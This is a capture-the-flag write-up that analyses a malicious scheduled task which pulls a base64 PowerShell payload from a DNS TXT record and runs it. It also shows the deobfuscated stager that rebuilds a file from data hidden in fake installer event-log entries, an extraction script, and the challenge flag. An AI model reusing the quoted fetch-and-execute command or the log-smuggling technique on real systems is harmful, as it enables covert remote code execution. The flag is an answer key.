Challenge Name: Palimpsest
Category: Malware
Author: Adam Rice (@adam.huntress)
Challenge Description:
Our IT department was setting up a new workstation and started encountering some strange errors while installing software.
The technician noticed a strange scheduled task and luckily backed it up and grabbed some log files before wiping the machine!
Can you figure out what's going on?
Artifact Files:
Approach
After unzipping the archive, we are presented with some Windows Event Logs and a scheduled task named Updater Service.xml
I started by looking at the scheduled task, and noticed that it was executing a powershell command that took a base64-encoded payload from a DNS query and executed it.
Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Resolve-DnsName 5aa456e4dbed10b.pyrchdata.com -Type txt | Select-Object -ExpandProperty Strings))))
After decoding the B64, I realized there were a few rounds of obfuscation, so I put together a binary refinery one-liner to deobfuscate it.
dig -t txt 5aa456e4dbed10b.pyrchdata.com +short | b64 | deob-ps1 | deob-ps1 | snip 99: | snip :4526 | carve hex | hex | zl | deob-ps1 | csd intarray | xor 0x5D | deob-ps1
... which produced the following powershell script:
$01Idu9 =[Type]"io.fiLe"
$a = 40000..65000
$b = $01Idu9::OpenWrite((Join-Path -Path ${EnV:aPpDAta} -ChildPath flag.mp4))
Get-EventLog -LogName "Application" -Source "mslnstaller" | Where-Object { $A -contains $_."In`st`AnCe`iD" } | Sort-Object Index | ForEach-Object { $C = $_."d`ATa"; $b.Write($C, 0, $C."LeN`GTh") }
$b.Close()
Once I could see the powershell clearly, I could understand what it was doing. There was binary data embedded in events from the "Mslsnstaller" provider (masquerading as "MsInstaller"), hiding in events 40000 to 65000.
After looking at some logs from the Application.evtx file, I wrote a script to extract the binary data from the events and save it as an mp4.
import os
from evtx import PyEvtxParser
import json
def extract_events(evtx_path, output_folder, min_event_id=40000, max_event_id=65000):
if not os.path.exists(output_folder):
os.makedirs(output_folder)
binary_data_list = [] # List to hold binary data for all events
parser = PyEvtxParser(evtx_path)
records = []
for record in parser.records_json():
jd = json.loads(record["data"])
try:
event_id = jd["Event"]["System"]["EventID"]["#text"]
except TypeError:
event_id = jd["Event"]["System"]["EventID"]
provider = jd["Event"]["System"]["Provider"]["#attributes"]["Name"]
if min_event_id <= event_id <= max_event_id:
if provider == "Mslnstaller":
binary_data = jd["Event"]["EventData"]["Binary"]
if binary_data:
records.append((event_id, bytes.fromhex(binary_data)))
records.sort(key=lambda x: x[0])
binary_data_list = [data for _, data in records]
output_file = os.path.join(output_folder, "combined_events.mp4")
with open(output_file, "wb") as f:
for data in binary_data_list[::-1]:
f.write(data)
evtx_file_path = r"Application.evtx"
output_directory = r"Palimpsest"
extract_events(evtx_file_path, output_directory)
Flag:flag{2b7dff19886372f1z85ca267eb15zabe}
Reflections
This was a great challenge to finish the CTF with! Having seen this method of hiding data in logs in the wild, I really appreciated how well-designed this challenge was. I always love to see challenges that reflect real-world techniques, and this one definitely hit the mark.